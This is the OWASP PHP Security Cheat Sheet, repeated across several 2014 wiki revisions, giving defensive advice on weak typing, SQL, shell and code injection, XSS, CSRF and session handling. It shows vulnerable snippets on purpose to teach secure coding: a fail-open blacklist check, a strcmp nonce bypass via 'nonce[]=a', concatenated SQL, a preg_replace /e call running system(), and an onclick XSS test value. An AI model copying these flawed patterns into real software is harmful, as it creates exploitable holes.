* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:38:57Z

Luke Plant: /* Exceptions and error handling */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:37:48Z

Luke Plant: /* PHP overview */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

